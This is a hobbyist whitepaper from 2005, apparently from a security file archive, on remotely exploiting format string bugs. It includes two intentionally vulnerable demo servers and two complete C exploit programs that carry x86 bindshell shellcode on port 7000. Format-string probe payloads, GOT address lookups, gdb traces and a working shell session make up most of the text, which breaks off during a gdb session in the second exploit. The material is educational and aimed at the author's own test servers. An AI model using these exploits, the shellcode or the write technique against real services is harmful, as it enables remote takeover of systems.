what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

exploit_remote_fmtstring.txt

exploit_remote_fmtstring.txt
Posted Aug 11, 2007
Authored by skew

Whitepaper discussing the remote exploitation of format string bugs.

tags | paper, remote
SHA-256 | e56ac2e283600d4cc1b61d33886eb76a7532991e7f0d2394cec3fa119c1c9887

exploit_remote_fmtstring.txt

Change Mirror Download
#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$

Exploiting Remote Format String Bugs
skew 05.23.05

#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$

Table of Contents
=================

1. Introduction
2. What are format string bugs?
3. Namesrv.c
3.1 Wheres the problem?
3.2 Exploitation
3.2.1 Step 1: GOT Address
3.2.2 Step 2: Getting the Offset
3.2.3 Step 3: Writing the Exploit
3.2.4 Step 4: Finding the Return Address
3.2.5 Step 5: Spawning a Shell
4. Slogsrv.c
4.1 Wheres the problem?
4.2 Exploitation
4.2.1 Step 1: GOT Address
4.2.2 Step 2: Getting the Offset
4.2.3 Step 3: Writing the Exploit
4.2.4 Step 4: Finding the Return Address
4.2.5 Step 5: Spawning a Shell
5. Greets
6. Conclusion

#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$

1. Format string bugs are a modern type of bug found in many pieces software these days, on many different platforms. Linux is about
the most exploited platform for the format string bug, probley because of the usually small level of exploitation difficulty and
popularity of the operating system, but BSD, Windows, and others have had their share of applications being exploited due to lack of
format string security in code the program is built from. This text is aimed at explaining in detail to the reader what format strings
and format string bugs are and how to exploit a remote format string bug in an example vulnerable application. If you would like to
learn about exploiting format string bugs locally, google for "inurl:*.txt howto exploit local format string" or something.

#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$

2. Format string bugs are flaws in many functions that allow an attacker to take control of a program if it don't specify a format
string identifier in the function its using, such as %s or %d.

Some format functions are:

printf() -> output data
sprintf() -> put data into a string
snprintf() -> put data into a string with bounds checking
vprintf() -> stdarg printf()
vsprintf() -> stdarg sprintf()
vsnprintf() -> stdarg snprintf()
syslog() -> log to system log
fprintf() -> output data to stream

Some format string identifiers are:

%s -> print a string
%d -> print a integer
%x -> print a hexadecimal
%n -> writes # of bytes written
%hn -> writes 1/2 # of bytes written

For instance, printf() print's out data, with its syntax being printf(identifer, data);. Now, if the programmer chooses no identifier,
printf() will output the data in the format its in.

The correct example for printf() is:

printf("%s", data);

But, if the programmer is lazy or don't want to implement a identifer, the programmer can do this:

printf(data);

Now, if "data" is controlled by he user running the program, its called a format string flaw, because now the user can supply any
identifier(s) and data he wants.

skew@vortex:~$ cat right.c
#include <stdio.h>

int main(int argc, char *argv[])
{

printf("%s\n", argv[1]);

return 0;
}
skew@vortex:~$ gcc -o right right.c
skew@vortex:~$ ./right test
test
skew@vortex:~$

skew@vortex:~$ cat wrong.c
#include <stdio.h>

int main(int argc, char *argv[])
{

printf(argv[1]);
printf("\n");

return 0;
}

skew@vortex:~$ gcc -o wrong wrong.c
skew@vortex:~$ ./wrong AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x%x.%x.%x.%x.%x.%x.%x.%x.%x.%x%x.%x.%x.%x.%x.%x.
%x.%x.%x.%x%x.%x.%x.%x.%x.%x.%x.%x.%x.%x%x.%x.%x.%x.%x.%x.%x.%x.%x.%x%x.%x.%x.%x.%x.%x.%x.%x.%x.%x%x.%x.%x.%x.%x.%x.%x.%x.%x.%x%x.%x.
%x.%x.%x.%x.%x.%x.%x.%x%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
AAAA.bffff844.bffff818.4003ce36.2.bffff844.bffff850.80482c0.0.4000bbe0.40157d74.40016bc0.2.80482c0.0.80482e1.8048384.2.bffff844.80483c0.
80484204000c290.bffff83c.0.2.bffff959.bffff961.0.bffffa8a.bffffa9e.bffffaa5bffffab8.bffffac8.bffffad3.bffffb2d.bffffb7e.bffffb97.bffffba9.
bffffbb9.bffffbcf.bffffbd9bffffe0e.bffffe1c.bffffe49.bffffe7a.bffffea5.bffffeb9.bffffef3.bfffff29.bfffff38.bfffff43bfffff4b.bfffff5b.
bfffff73.bfffff89.bfffff96.bfffffa3.bfffffae.bfffffd0.bfffffda.010.383fbff.6.1000.11.64.3.8048034.4.205.7.7.40000000.8.0.9.80482c0.b.3e8c.
3e8.d.3e8.e.3e8.f.bffff954.0.00.0.36383669.772f2e00.676e6f72.41414100.78252e41.2e78252e.252e7825.78252e78
skew@vortex:~$

As you can see in the "right" program, everything works fine, but in the "wrong" program, we are able to specify our own identifiers and
make the program go through the stack to try and find one.

Now, how does this lead to an exploit? We can take advantage of the format string bug to make it go and do just about anything in the
stack, heap, .dtors, and etc, which is very handy for exploitation =).

#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$

3. Ok, so we got a program to exploit, namesrv.c.

skew@vortex:~$ cat namesrv.c
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define BUFFSIZE 1024
#define NAMESIZE 1024
#define BACKLOG 10

#define MESSAGE1 "\nHello, whats your name?\n"
#define MESSAGE2 "\nGood luck exploiting this server!\n\n"
#define MSG1SIZE 25
#define MSG2SIZE 36

int clientread(int sock)
{

char buffer[BUFFSIZE], name[NAMESIZE];

memset(buffer, 0, BUFFSIZE);
memset(name, 0, NAMESIZE);

send(sock, MESSAGE1, MSG1SIZE, 0);
read(sock, name, NAMESIZE, 0);

snprintf(buffer, BUFFSIZE, name);

send(sock, buffer, BUFFSIZE, 0);
send(sock, MESSAGE2, MSG2SIZE, 0);

close(sock);

return 0;

}

int main(int argc, char *argv[])
{

int sockfd, clientfd, size;
struct sockaddr_in client, server;

size = sizeof(struct sockaddr);

if(argc < 2)
{

printf("\nNamesrv Format String Daemon\n");
printf("\nUsage: %s <port>\n\n", argv[0]);

return 0;

}

if((getuid() != 0) && (atoi(argv[1]) < 1024))
{
fprintf(stderr, "\nError: must be root to use port %d.\n\n", atoi(argv[1]));
return -1;

}

if((atoi(argv[1]) <= 0) || (atoi(argv[1]) >= 65536))
{

fprintf(stderr, "\nError: port %d not acceptable.\n\n", atoi(argv[1]));
return -1;

}

if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{

fprintf(stderr, "\nError: socket() failed.\n\n");
return -1;

}

server.sin_family = AF_INET;
server.sin_port = htons(atoi(argv[1]));
server.sin_addr.s_addr = INADDR_ANY;

if(bind(sockfd, (struct sockaddr *)&server, sizeof(struct sockaddr)) < 0)
{

fprintf(stderr, "\nError: bind(%d) failed.\n\n", atoi(argv[1]));
return -1;

}

if(listen(sockfd, BACKLOG) < 0)
{

fprintf(stderr, "\nError: listen(%d) failed.\n\n", atoi(argv[1]));
return -1;

}

for(;;)
{

clientfd = accept(sockfd, (struct sockaddr *)&client, &size);

if(clientread(clientfd) == -1)
{

fprintf(stderr, "\nError: clientread(%s) failed.\n", inet_addr(client.sin_addr.s_addr));
close(clientfd);

}
}

return 0;
}
skew@vortex:~$

Ok, lets compile and run it and see what happens.

skew@vortex:~$ gcc -o namesrv namesrv.c
skew@vortex:~$ ./namesrv

Namesrv Format String Daemon

Usage: ./namesrv <port>

skew@vortex:~$ ./namesrv 5000

(Then I open another terminal...)

skew@vortex:~$ telnet localhost 5000
Trying 127.0.0.1...
Connected to localhost.localdomain.
Escape character is '^]'.

Hello, whats your name?
skew (--> input)
skew (--> response)

Good luck exploiting this server!

Connection closed by foreign host.
skew@vortex:~$

Hm, seems like a *normal* server, or is it?

#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$

3.1 Can you see where the format string bug is at in namesrv.c? Aha, its "snprintf(buffer, BUFFSIZE, name);". Snprintf() is talking
name and putting it into buffer, max BUFFSIZE (1024) bytes, but theres no format specifier. Uh oh.

Well, lets test it and see what we can play with.

skew@vortex:~$ telnet localhost 5000
Trying 127.0.0.1...
Connected to localhost.localdomain.
Escape character is '^]'.

Hello, whats your name?
%x.%x.%x.%x.%x
0.252e7825.78252e78.2e78252e.a0d7825

Good luck exploiting this server!

Connection closed by foreign host.
skew@vortex:~$

Woah, looks like we are reading addresses from our buffer. In hexadecimal, "%" = 25, "x" = 78, and "." = 2e.

#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$

3.2 Now comes the time for exploitation. We seen namesrv.c is plenty vulnerable, but how do we exploit it? Well, in the next few
sub-chapters, I will show you what we need and how.

#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$

3.2.1 First off, we need to find the GOT address so we can write into it, then it will jump to our return address for us.

skew@vortex:~$ objdump -R namesrv

namesrv: file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049e38 R_386_GLOB_DAT __gmon_start__
08049e3c R_386_COPY stderr
08049df8 R_386_JUMP_SLOT close
08049dfc R_386_JUMP_SLOT fprintf
08049e00 R_386_JUMP_SLOT accept
08049e04 R_386_JUMP_SLOT listen
08049e08 R_386_JUMP_SLOT inet_addr
08049e0c R_386_JUMP_SLOT __libc_start_main
08049e10 R_386_JUMP_SLOT printf
08049e14 R_386_JUMP_SLOT bind
08049e18 R_386_JUMP_SLOT getuid
08049e1c R_386_JUMP_SLOT snprintf --> the function and address we need
08049e20 R_386_JUMP_SLOT atoi
08049e24 R_386_JUMP_SLOT send
08049e28 R_386_JUMP_SLOT htons
08049e2c R_386_JUMP_SLOT memset
08049e30 R_386_JUMP_SLOT socket
08049e34 R_386_JUMP_SLOT read


skew@vortex:~$

Ok, so we got 0x08049e1c for the GOT address of snprintf() (THANK GOD FOR GNU :]), great, we will need it for our exploit soon.

#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$

3.2.2 Next, we got to find the offset.

skew@vortex:~$ telnet localhost 5000
Trying 127.0.0.1...
Connected to localhost.localdomain.
Escape character is '^]'.

Hello, whats your name?
AAAA%1$x --> Is "1" our offset?
AAAA0 --> NOPE :[

Good luck exploiting this server!

Connection closed by foreign host.
skew@vortex:~$ telnet localhost 5000
Trying 127.0.0.1...
Connected to localhost.localdomain.
Escape character is '^]'.

Hello, whats your name?
AAAA%2$x --> Is "2" our offset?
AAAA41414141 --> YES!!!

Good luck exploiting this server!

Connection closed by foreign host.
skew@vortex:~$

This little trick works so that we can easily see our offset by using the *formula* "%#$x", where # = our tried offset.

So, looks like our offset is 2. Again, keep note of this because we will be using it for our exploit *very* soon.

#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$

3.2.3 Well, now its time for an exploit. Ownage Time with badname.c:

skew@vortex:~$ cat badname.c
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define GOT 0x08049e1c // objdump -R namesrv | grep snprintf
#define RET 0x11223344 // testing 1-2-3

#define NOP 0x90 // gotta have NOPS =P
#define OFFSET 2 // our offset
#define SIZE 1024 // size of buffer

char sc[] = /* linux x86 bindshell port 7000 */
"\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
"\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
"\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
"\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
"\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
"\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
"\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

int main(int argc, char *argv[])
{

char buffer[SIZE], *ip = argv[1];
char *gotaddr[3] = {((char *)GOT + 2), ((char *)GOT),}; // our got address + 2, and then our regular got address

int high, low, port = atoi(argv[2]), sock;
long retaddr = RET; // our return address

struct sockaddr_in target;

if(argc < 3)
{

printf("\nNamesrv Remote Format String Exploit");
printf("\nskew 05.22.05\n");

printf("\nUsage: %s <ip> <port>\n\n", argv[0]);

return 0;

}

printf("\nNamesrv Remote Format String Exploit");
printf("\nskew 05.22.05\n");

printf("\nAttacking %s:%d...\n", ip, port);

target.sin_family = AF_INET;
target.sin_port = htons(port);
target.sin_addr.s_addr = inet_addr(ip);

sock = socket(AF_INET, SOCK_STREAM, 0);

high = (retaddr & 0xffff0000) >> 16; // overwrite 1/2 of address
low = (retaddr & 0x0000ffff); // overwrite 2/2 of address

high -= 0x8; // yes, 0x8

sprintf(buffer, "%s%%.%dx%%%d$hn%%.%dx%%%d$hn", &gotaddr, high, OFFSET, (low - high) - 0x8, OFFSET + 1); // our exploit formula
memset(buffer + strlen(buffer), NOP, 256); // gimme some nops, now!
sprintf(buffer + strlen(buffer), "%s\r\n", sc); // place our shellcode in there

if(connect(sock, (struct sockaddr *)&target, sizeof(target)) < 0)
{

printf("\nError: connect(%s:%d)\n\n", ip, port);
return -1;

}

send(sock, buffer, SIZE, 0);

printf("\nNow \"telnet %s 7000\"!\n\n", ip);

return 0;

}
skew@vortex:~$

Lets test this baby out ;P.

skew@vortex:~$ gcc -o badname badname.c
skew@vortex:~$ ./badname

Namesrv Remote Format String Exploit
skew 05.22.05

Usage: ./badname <ip> <port>

skew@vortex:~$

(Change terminal)

skew@vortex:~$ ps -aux | grep namesrv
Warning: bad syntax, perhaps a bogus '-'? See http://procps.sf.net/faq.html
skew 11280 0.0 0.0 1340 272 pts/5 S+ 22:05 0:00 ./namesrv 5000
skew 11288 0.0 0.1 1824 572 pts/7 R+ 22:05 0:00 grep namesrv
skew@vortex:~$ gdb p 11280
GNU gdb 6.3-debian
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-linux"...p: No such file or directory.

Attaching to process 11280
Using host libthread_db library "/lib/libthread_db.so.1".
Reading symbols from /home/skew/namesrv...done.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
0x400ff276 in accept () from /lib/libc.so.6
(gdb) c
Continuing.

(Change back terminal)

skew@vortex:~$ ./badname 127.0.0.1 5000

Namesrv Remote Format String Exploit
skew 05.22.05

Attacking 127.0.0.1:5000...

Now "telnet 127.0.0.1 7000"!

skew@vortex:~$ ./badname 127.0.0.1 5000

Namesrv Remote Format String Exploit
skew 05.22.05

Attacking 127.0.0.1:5000...

Now "telnet 127.0.0.1 7000"!

skew@vortex:~$

Btw, yes, I did run it twice, hehe.

(Change terminal)

Program received signal SIGSEGV, Segmentation fault.
0x11223344 in ?? ()
(gdb) i r
eax 0xbffff4a0 -1073744736
ecx 0xbffff0a0 -1073745760
edx 0x400 1024
ebx 0x40156880 1075144832
esp 0xbffff08c 0xbffff08c
ebp 0xbffff8a8 0xbffff8a8
esi 0x40016460 1073833056
edi 0xbffff964 -1073743516
eip 0x11223344 0x11223344 --> RETURN ADDRESS
eflags 0x210217 2163223
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
(gdb)

YES! WE DID IT! WE OVERWROTE THE RETURN ADDRESS!!!

But that doesn't do us much good without making it point to our shellcode, heh.

#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$

3.2.4 So, lets look for our NOPS because they will supply an good return address we can use to point to the shellcode.

(gdb) x/100x $esp
0xbffff08c: 0x08048771 0xbffff4a0 0x00000400 0xbffff0a0
0xbffff09c: 0x00000000 0x08049e1e 0x08049e1c 0x33342e25
0xbffff0ac: 0x25783837 0x6e682432 0x37382e25 0x25783833
0xbffff0bc: 0x6e682433 0x90909090 0x90909090 0x90909090
0xbffff0cc: 0x90909090 0x90909090 0x90909090 0x90909090 --> good! 1
0xbffff0dc: 0x90909090 0x90909090 0x90909090 0x90909090 --> good! 2
0xbffff0ec: 0x90909090 0x90909090 0x90909090 0x90909090 --> good! 3
0xbffff0fc: 0x90909090 0x90909090 0x90909090 0x90909090 --> good! 4
0xbffff10c: 0x90909090 0x90909090 0x90909090 0x90909090 --> good! 5
0xbffff11c: 0x90909090 0x90909090 0x90909090 0x90909090 --> good! 6
0xbffff12c: 0x90909090 0x90909090 0x90909090 0x90909090 --> good! 7
0xbffff13c: 0x90909090 0x90909090 0x90909090 0x90909090 --> good! 8
0xbffff14c: 0x90909090 0x90909090 0x90909090 0x90909090 --> good! 9
0xbffff15c: 0x90909090 0x90909090 0x90909090 0x90909090 --> good! 10
0xbffff16c: 0x90909090 0x90909090 0x90909090 0x90909090 --> good! 11
0xbffff17c: 0x90909090 0x90909090 0x90909090 0x90909090 --> good! 12
0xbffff18c: 0x90909090 0x90909090 0x90909090 0x90909090 --> good! 13
0xbffff19c: 0x90909090 0x90909090 0x90909090 0x90909090 --> good! 14
0xbffff1ac: 0x90909090 0x90909090 0x90909090 0x90909090 --> good! 15
0xbffff1bc: 0x90909090 0x5050c031 0x2444c766 0xc6581b02
0xbffff1cc: 0x89022404 0xcd02b0e6 0x74c08580 0x31c03108
0xbffff1dc: 0xcd01b0db 0x016a5080 0xe189026a 0x66b0db31
0xbffff1ec: 0x80cd01b3 0x106ac589 0xe1895056 0x02b366b0
0xbffff1fc: 0x016a80cd 0x31e18955 0xb0db31c0 0xcd04b366
0xbffff20c: 0x50c03180 0xe1895550 0x05b366b0 0xc58980cd
(gdb)

Wow, 15 good return addresses, but lets pick one thats more toward the middle.. how about 0xbffff12c, at lucky number 7 ;].

#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$

3.2.5 Ok, this has been great so far. Now all we got to do is use 0xbffff12c for our return address and see if it works.

So lets review our changes to the code.

#define RET 0x11223344 // testing 1-2-3 --> #define RET 0xbffff12c // debian 3.1

Now lets try our exploit =].

skew@vortex:~$ ./badname 127.0.0.1 5000

Namesrv Remote Format String Exploit
skew 05.22.05

Attacking 127.0.0.1:5000...

Now "telnet 127.0.0.1 7000"!

skew@vortex:~$ ./badname 127.0.0.1 5000

Namesrv Remote Format String Exploit
skew 05.22.05

Attacking 127.0.0.1:5000...

Now "telnet 127.0.0.1 7000"!

skew@vortex:~$ netstat -antp | grep 7000
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 0.0.0.0:7000 0.0.0.0:* LISTEN 11335/namesrv
skew@vortex:~$ telnet localhost 7000
Trying 127.0.0.1...
Connected to localhost.localdomain.
Escape character is '^]'.
uname -a;id;
Linux vortex 2.4.27-2-k7 #1 Thu Jan 20 11:25:34 JST 2005 i686 GNU/Linux
uid=1000(skew) gid=1000(skew) groups=1000(skew),20(dialout),24(cdrom),25(floppy),29(audio),44(video)
: command not found
exit;
Connection closed by foreign host.
skew@vortex:~$

Ownage, Ownage, Ownage. Hehe =D.

#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$

4.1 Lets exploit this next program, again bugged with a format string flaw, but in a different function.

skew@vortex:~/Desktop$ cat slogsrv.c
#include <stdio.h>
#include <syslog.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define BUFFSIZE 2048
#define BACKLOG 10

#define MESSAGE "\nMessage to syslog? "
#define MSGSIZE 20

int clientread(int sock)
{

char buffer[BUFFSIZE];

memset(buffer, 0, BUFFSIZE);

send(sock, MESSAGE, MSGSIZE, 0);
read(sock, buffer, BUFFSIZE, 0);

syslog(LOG_NOTICE, buffer);

close(sock);

return 0;

}

int main(int argc, char *argv[])
{

int sockfd, clientfd, size;
struct sockaddr_in client, server;

size = sizeof(struct sockaddr);

if(argc < 2)
{

printf("\nSlogsrv Format String Daemon\n");
printf("\nUsage: %s <port>\n\n", argv[0]);

return 0;

}

if((getuid() != 0) && (atoi(argv[1]) < 1024))
{
fprintf(stderr, "\nError: must be root to use port %d.\n\n", atoi(argv[1]));
return -1;

}

if((atoi(argv[1]) <= 0) || (atoi(argv[1]) >= 65536))
{

fprintf(stderr, "\nError: port %d not acceptable.\n\n", atoi(argv[1]));
return -1;

}

if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{

fprintf(stderr, "\nError: socket() failed.\n\n");
return -1;

}

server.sin_family = AF_INET;
server.sin_port = htons(atoi(argv[1]));
server.sin_addr.s_addr = INADDR_ANY;

if(bind(sockfd, (struct sockaddr *)&server, sizeof(struct sockaddr)) < 0)
{

fprintf(stderr, "\nError: bind(%d) failed.\n\n", atoi(argv[1]));
return -1;

}

if(listen(sockfd, BACKLOG) < 0)
{

fprintf(stderr, "\nError: listen(%d) failed.\n\n", atoi(argv[1]));
return -1;

}

for(;;)
{

clientfd = accept(sockfd, (struct sockaddr *)&client, &size);

if(clientread(clientfd) == -1)
{

fprintf(stderr, "\nError: clientread(%s) failed.\n", inet_addr(client.sin_addr.s_addr));
close(clientfd);

}
}

return 0;
}
skew@vortex:~/Desktop$

#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$

4.1 Wheres the problem in this code?

syslog(LOG_NOTICE, buffer);

As you can see syslog() is logging the "buffer" without a format identifier, thats a defininate "no-no".

skew@vortex:~/Desktop$ gcc -o slogsrv slogsrv.c
skew@vortex:~/Desktop$ ./slogsrv

Slogsrv Format String Daemon

Usage: ./slogsrv <port>

skew@vortex:~/Desktop$ ./slogsrv 5000

(Change terminal)

skew@vortex:~/Desktop$ telnet localhost 5000
Trying 127.0.0.1...
Connected to localhost.localdomain.
Escape character is '^]'.

Message to syslog? hello dude!
Connection closed by foreign host.
skew@vortex:~/Desktop$ tail -1 /var/log/user.log
May 23 17:14:57 localhost slogsrv: hello dude!^M
skew@vortex:~/Desktop$

Well, that seems fine, but lets check and see its *really* vulnerable.

skew@vortex:~/Desktop$ telnet localhost 5000
Trying 127.0.0.1...
Connected to localhost.localdomain.
Escape character is '^]'.

Message to syslog? AAAA.%x.%x.%x.%x.%x
Connection closed by foreign host.
skew@vortex:~/Desktop$ tail -1 /var/log/user.log
May 23 17:16:43 localhost slogsrv: AAAA.800.0.41414141.2e78252e.252e7825^M
skew@vortex:~/Desktop$

Haha, yep, it sure is.

#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$

4.2 Now starts the exploitation stage, well, steps really. Lets go.

#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$

4.2.1 Again, we need to find the GOT address.

skew@vortex:~/Desktop$ objdump -R slogsrv

slogsrv: file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049d78 R_386_GLOB_DAT __gmon_start__
08049d7c R_386_COPY stderr
08049d38 R_386_JUMP_SLOT close
08049d3c R_386_JUMP_SLOT fprintf
08049d40 R_386_JUMP_SLOT accept
08049d44 R_386_JUMP_SLOT listen
08049d48 R_386_JUMP_SLOT syslog
08049d4c R_386_JUMP_SLOT inet_addr
08049d50 R_386_JUMP_SLOT __libc_start_main
08049d54 R_386_JUMP_SLOT printf
08049d58 R_386_JUMP_SLOT bind
08049d5c R_386_JUMP_SLOT getuid
08049d60 R_386_JUMP_SLOT atoi
08049d64 R_386_JUMP_SLOT send
08049d68 R_386_JUMP_SLOT htons
08049d6c R_386_JUMP_SLOT memset
08049d70 R_386_JUMP_SLOT socket
08049d74 R_386_JUMP_SLOT read


skew@vortex:~/Desktop$

Ok, we found syslog() at 0x08049d48.

#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$

4.2.2 Next we got to find the offset, and yet, it is as simple as finding it in namesrv.c.

skew@vortex:~/Desktop$ telnet localhost 5000
Trying 127.0.0.1...
Connected to localhost.localdomain.
Escape character is '^]'.

Message to syslog? AAAA.offset=%3$x
Connection closed by foreign host.
skew@vortex:~/Desktop$ tail -1 /var/log/user.log
May 23 17:20:56 localhost slogsrv: AAAA.offset=41414141^M
skew@vortex:~/Desktop$

#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$

4.2.3 Ok, lets write an exploit for this bug.

skew@vortex:~/Desktop$ cat sluged.c
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define GOT 0x08049d48 // objdump -R slogsrv | grep syslog
#define RET 0x11223344 // testing 1-2-3

#define NOP 0x90
#define OFFSET 3
#define SIZE 2048

char sc[] = /* linux x86 bindshell @ 7000 */
"\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
"\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
"\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
"\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
"\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
"\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
"\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

int main(int argc, char *argv[])
{

char buffer[SIZE], *ip = argv[1];
char *gotaddr[3] = {((char *)GOT + 2), ((char *)GOT),};

int high, low, port = atoi(argv[2]), sock;
long retaddr = RET;

struct sockaddr_in target;

if(argc < 3)
{

printf("\nSlogsrv Remote Format String Exploit");
printf("\nskew 05.23.05\n");

printf("\nUsage: %s <ip> <port>\n\n", argv[0]);

return 0;

}

printf("\nSlogsrv Remote Format String Exploit");
printf("\nskew 05.23.05\n");

printf("\nAttacking %s:%d...\n", ip, port);

target.sin_family = AF_INET;
target.sin_port = htons(port);
target.sin_addr.s_addr = inet_addr(ip);

sock = socket(AF_INET, SOCK_STREAM, 0);

high = (retaddr & 0xffff0000) >> 16;
low = (retaddr & 0x0000ffff);

high -= 0x8;

sprintf(buffer, "%s%%.%dx%%%d$hn%%.%dx%%%d$hn", &gotaddr, high, OFFSET, (low - high) - 0x8, OFFSET + 1);
memset(buffer + strlen(buffer), NOP, 256);
sprintf(buffer + strlen(buffer), "%s\r\n", sc);

if(connect(sock, (struct sockaddr *)&target, sizeof(target)) < 0)
{

printf("\nError: connect(%s:%d)\n\n", ip, port);
return -1;

}

send(sock, buffer, SIZE, 0);

printf("\nNow \"telnet %s 7000\"!\n\n", ip);

return 0;

}
skew@vortex:~/Desktop$ gcc -o sluged sluged.c
skew@vortex:~/Desktop$ ./sluged

Slogsrv Remote Format String Exploit
skew 05.23.05

Usage: ./sluged <ip> <port>

skew@vortex:~/Desktop$

(Change terminal)

skew@vortex:~$ ps -aux | grep slogsrv
Warning: bad syntax, perhaps a bogus '-'? See http://procps.sf.net/faq.html
skew 12748 0.0 0.0 1472 464 pts/1 S+ 17:14 0:00 ./slogsrv 5000
skew 12807 0.0 0.1 1824 572 pts/6 R+ 17:23 0:00 grep slogsrv
skew@vortex:~$ gdb p 12748
GNU gdb 6.3-debian
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-linux"...p: No such file or directory.

Attaching to process 12748
Using host libthread_db library "/lib/libthread_db.so.1".
